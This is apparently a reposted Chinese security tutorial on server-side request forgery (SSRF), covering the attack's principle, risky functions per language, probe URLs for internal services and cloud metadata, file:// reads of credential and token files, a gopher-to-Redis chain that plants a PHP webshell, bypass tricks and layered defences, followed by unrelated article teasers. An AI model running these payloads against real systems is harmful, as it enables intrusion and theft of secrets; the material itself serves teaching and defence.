SSRF攻击:原理、手法与演进

作者:楠目日期:2025/11/29

攻击核心原理

当应用程序存在**“代表用户”访问指定URL**的功能时(如分享预览、数据获取、网页抓取、Webhook通知等),如果攻击者能够控制这个URL,并使其访问内部或受限制的网络资源,就构成了SSRF。

关键点:攻击者利用了应用程序服务器作为“跳板”,从而绕过网络边界限制,实现从外网到内网的穿透。

简单点就是:网站拥有让我访问别的网站的功能,我访问的是类似192.168.150.3:80这样的内网ip。服务器就会访问到自己的内网。如果真的存在这个ip就会返回结果。

危险函数/类(补充与优化)
语言危险函数/类风险描述
PHPfile_get_contents(), fopen(), curl_exec(), fsockopen()支持多种协议,缺乏默认限制。
Pythonurllib.request.urlopen(), requests.get(), httpx.get()早期urllib可能支持危险协议,需手动禁用。
JavaURLConnection().openStream(), HttpClient.execute()默认行为可能较宽松。
Node.jshttp.get(), request(), fetch(), axios()fetch行为相对可控,但配置错误仍危险。
Gohttp.Get(), http.NewRequest(), defaultClient.Do()需要自定义Transport来施加严格限制。
.NET (C#)WebClient.DownloadString(), HttpClient.GetStringAsync()默认行为需注意。
攻击协议与利用手法(深化)

1. 信息收集与端口扫描 通过响应时间、错误信息或返回内容来探测内网服务。

探测常见服务 http://192.168.1.1:22     # SSH http://127.0.0.1:6379     # Redis http://127.0.0.1:3306     # MySQL http://127.0.0.1:8080/actuator/health # Spring Boot Actuator ​ 云元数据服务(高价值目标) http://169.254.169.254/latest/meta-data/                   # AWS http://100.100.100.200/latest/meta-data/                   # Alibaba Cloud http://metadata.google.internal/computeMetadata/v1/       # GCP (需要头 Metadata-Flavor: Google)

2. 文件读取 利用file://协议读取服务器本地敏感文件。

Linux file:///etc/passwd file:///proc/self/environ     # 读取当前进程环境变量,可能包含密钥 file:///var/run/secrets/kubernetes.io/serviceaccount/token # Kubernetes Service Account Token ​ Windows file:///C:/Windows/System32/drivers/etc/hosts file:///C:/xampp/htdocs/config/config.inc.php

3. 攻击内网应用(SSRF to RCE的桥梁) 这是将SSRF危害最大化的关键。通过构造特定协议请求,直接与内网无认证或弱认证的应用交互,实现命令执行。

  • 攻击Redis(未授权访问) 使用gopherdict协议向Redis发送命令,写入Webshell或反弹Shell。
    使用 Gopherus 等工具生成Payload,将公钥写入/root/.ssh/authorized_keys,或写入PHP WebShell
    gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a...
  • 攻击FastCGI (PHP-FPM) 当PHP-FPM暴露在端口上(如9000)时,可以构造FastCGI协议包,使其执行任意PHP代码。
    使用工具构造Payload
    http://127.0.0.1:9000 # 请求体中是恶意的FastCGI协议数据
  • 攻击MySQL 通过gopher协议与MySQL交互,但难度较高,需要知道如何构造MySQL协议包。
绕过技巧(补充)
  1. DNS重绑定
    • 注册一个域名,其DNS记录TTL极短,第一次解析返回一个合法外网IP(通过白名单校验),第二次解析返回127.0.0.1(实际发起请求)。
    • 使用公共服务如 spoofed.burpcollaborator.net
  2. 利用URL解析差异
  3. IPv6与特殊地址
高级攻击:SSRF to RCE

这正是你提到的核心。当SSRF可以攻击内网特定服务时,RCE就成为了可能。其流程如下:

  1. 发现SSRF漏洞点(如url参数可控)。
  2. 探测内网环境,发现存在127.0.0.1:6379的Redis服务,且未授权访问。
  3. 构造攻击载荷:使用Gopherus工具生成攻击Redis的Payload,目标是写入一个PHP WebShell到Web目录。
    python gopherus.py --exploit redis
    输入你的PHP命令,如:<?php system($_GET['cmd']);?>
  4. 发起SSRF攻击:将生成的Gopher URL作为参数传入。
    vulnerable-site.com/share?url=gopher://127.0.0.1:6379/_...生成的Payload...
  5. 访问WebShell:服务器会执行该Payload,在Web目录(如/var/www/html/shell.php)写入Webshell。
  6. 实现RCE:直接访问http://vulnerable-site.com/shell.php?cmd=id,执行系统命令。
防御方案

一个完整的SSRF防御策略应该是多层次、纵深式的。

  1. 输入校验与白名单
    • 最佳实践:建立允许的域名或IP白名单。只允许访问公网、业务相关的安全域名。
    • 次优方案:如果必须允许用户输入URL,则阻断内网IP段(127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)、链路本地地址等。
  2. 协议限制
  3. 应用层控制
    • 禁用URL重定向(30x跟随)。
    • 对响应内容进行校验,避免敏感信息泄露。
  4. 网络层隔离
    • 将执行网络请求的应用程序部署在独立的、严格限制出网权限的网络段(DMZ)。使用防火墙策略禁止其访问管理网段和元数据服务。
    • 这是最有效、最根本的解决方案之一。
  5. 使用安全的客户端
    • 使用单独的、配置严格的HTTP客户端进行出站请求。
    • 例如,在Go中自定义http.Transport,在Python中使用requests库并设置allow_redirects=False
推荐工具
  1. SSRFmap: 自动化的SSRF利用框架,支持多种后利用模块(如端口扫描、文件读取、攻击Redis等)。
  2. Gopherus: 专门生成用于攻击Redis、MySQL、FastCGI等的Gopher Payload。
  3. ffuf / dirsearch: 用于对内网服务进行目录/内容发现。
  4. Burp Suite Collaborator: 用于检测盲SSRF和DNS重绑定攻击。

SSRF攻击:原理、手法与演进》 是转载文章,点击查看原文


相关推荐


# 一、项目概览 Dragonboat 是纯 Go 实现的(multi-group)Raft 库。 为应用屏蔽 Raft 复杂性,提供易于使用的 NodeH
得物技术2025/11/27

一、项目概览 Dragonboat 是纯 Go 实现的(multi-group)Raft 库。 为应用屏蔽 Raft 复杂性,提供易于使用的 NodeHost 和状态机接口。该库(自称)有如下特点: 高吞吐、流水线化、批处理; 提供了内存/磁盘状态机多种实现; 提供了 ReadIndex、成员变更、Leader转移等管理端API; 默认使用 Pebble 作为 存储后端。 本次代码串讲以V3的稳定版本为基础,不包括GitHub上v4版本内容。 二、整体架构 三、LogDB 统一存储 Log


LeetCode 202. 快乐数
-森屿安年-2025/11/24

目录 相似题目原题题目解析算法原理代码实现 相似题目 环形链表 环形链表 II 原题 快乐数 编写一个算法来判断一个数 n 是不是快乐数。 「快乐数」 定义为: 对于一个正整数,每一次将该数替换为它每个位置上的数字的平方和。然后重复这个过程直到这个数变为 1,也可能是 无限循环 但始终变不到 1。如果这个过程 结果为 1,那么这个数就是快乐数。 如果 n 是快乐数就返回 true ;不是,则返回 false 。 示例 1: 输入:n = 19 输出:t


水果识别系统【最新版】Python+TensorFlow+Vue3+Django+人工智能+深度学习+卷积神经网络算法
青瓷程序设计2025/11/23

一、项目介绍 水果识别系统,通过TensorFlow搭建卷积神经网络算法,并收集了10种常见的水果数据集(‘哈密瓜’, ‘椰子’, ‘樱桃’, ‘火龙果’, ‘猕猴桃’, ‘红苹果’, ‘芒果’, ‘葡萄’, ‘西瓜’, ‘香蕉’),对其进行多轮迭代训练,最后得到了一个精度较高的模型,并搭建Web可视化操作平台。 前端: Vue3、Element Plus 后端:Django 算法:TensorFlow、卷积神经网络算法 具体功能: 系统分为管理员和用户两个角色,登录后根据角色显示其可访问的


单片机简单介绍
_the_sun2025/11/21

目录 一、单片机简介 二、单片机的命名规则与封装 三、单片机内部结构图与最小系统 (1)内部模块结构图 (2)最小系统         虽然以前也简单学习过单片机,但是当时还未曾学习数电模电,对于各种芯片、工作原理的理解较为浅显,只是停留在代码如何写的方面。现在补充了一定的数模电基础后想巩固一下知识,考虑到并未写一份单片机使用说明,于是开始尝试本系列。 一、单片机简介         单片机(Micro Controller Unit),简称MCU。即微小控制单元,通常用


Lua 的 collectgarbage 函数
IMPYLH2025/11/19

Lua 的 collectgarbage 函数 是用于控制垃圾回收机制的重要工具。该函数提供了多种操作模式来管理内存回收: 基本语法: collectgarbage(opt [, arg]) 主要操作选项: "collect" - 执行一次完整的垃圾回收循环"stop" - 暂停垃圾回收器"restart" - 重新启动垃圾回收器"count" - 返回当前 Lua 使用的内存总量(以 KB 为单位)"step" - 执行单步垃圾回收"setpause" - 设置回收器的暂停参数"set


马斯克Grok 4.1低调发布!通用能力碾压其他一切模型
机器之心2025/11/18

几乎毫无预兆,马斯克人工智能公司 xAI 发布了最新模型 Grok 4.1。 就在刚刚,xAI 宣布,Grok 4.1 已经向所有用户开放,可以在 Grok 官网、X 以及 iOS 和 Android 应用中使用。 Grok 4.1将立即在 Auto 模式中推送,并可在模型选择器中手动选择。 此次,Grok 4.1 将在真实世界可用性方面带来显著提升,尤其是在创造力、情感互动和协作交互方面表现出色。Grok 4.1 对细微意图的感知能力更强,与用户对话更加吸引人,整体人格也更连贯,同时完全保


Python 的内置函数 sorted
IMPYLH2025/11/17

Python 内建函数列表 > Python 的内置函数 sorted Python 的内置函数 sorted() 是一个用于排序的可迭代对象的高阶函数,它接受一个可迭代对象作为输入,并返回一个新的已排序的列表。与列表的 sort() 方法不同,sorted() 不会修改原始的可迭代对象,而是生成一个新的排序后的列表。 基本用法 sorted(iterable, key=None, reverse=False) iterable:需要排序的可迭代对象(如列表、元组、字符串等)key(可


线性代数 - 叉积的分量形式与矩阵形式
二分掌柜的2025/11/16

线性代数 - 叉积的分量形式与矩阵形式 flyfish 单位基向量与 向量的分解 1. 三维坐标系与单位基向量 图中蓝色的x轴、红色的y轴、绿色的z轴构成了一个右手系三维笛卡尔坐标系(符合“右手定则”的空间定向)。 在这个坐标系中,有三个单位基向量: i^\hat{i}i^(蓝色箭头):沿x轴方向的单位向量; j^\hat{j}j^​(红色箭头):沿y轴方向的单位向量; k^\hat{k}k^(绿色箭头):沿z轴方向的单位向量。 这三个基向量两两垂直(夹角为90∘90^\circ90∘) 2.


docker启动失败
AI小胖2025/11/15

** ** 问题很明确了:Failed at step LIMITS spawning /usr/bin/dockerd: Operation not permitted 和 status=205/LIMITS。这表明 systemd 在设置资源限制时遇到了权限问题。 解决方案: 1. 移除或修复有问题的资源限制配置 # 移除我们之前创建的 override 配置 rm -f /etc/systemd/system/docker.service.d/override.conf # 重新加载


实时大数据计算中,Spark的滑动窗口和允许消息迟到机制
sword_csdn2025/11/13

目录 1.开发环境2.几句话先概括3.例子说明3.1.参数配置3.2.窗口是如何产生的3.3.Trigger触发机制3.4.迟到的消息数据 最近做了个实时大数据分析的项目,发现很多东西都忘记了,属实没有好好整理笔记之过,趁眼下闲暇,做个回忆和记录。 1.开发环境 这次环境采用Java17+,Scala2.13,Spark的版本为4.0.0,且基于Kafka创建读取流。其它环境可参考以下maven pom。 <?xml version="1.0" encoding="UTF-8"

首页编辑器站点地图

本站内容在 CC BY-SA 4.0 协议下发布

Copyright © 2025 聚合阅读